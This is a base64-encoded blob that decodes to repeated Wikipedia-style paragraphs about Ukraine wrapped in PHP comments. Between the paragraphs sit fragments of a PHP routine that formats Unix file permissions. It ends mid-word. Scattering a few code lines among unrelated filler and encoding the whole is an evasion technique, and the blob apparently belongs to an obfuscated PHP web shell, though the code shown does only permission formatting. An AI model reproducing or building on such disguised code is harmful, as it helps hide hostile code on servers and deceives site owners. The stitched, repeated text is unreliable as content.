MTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcn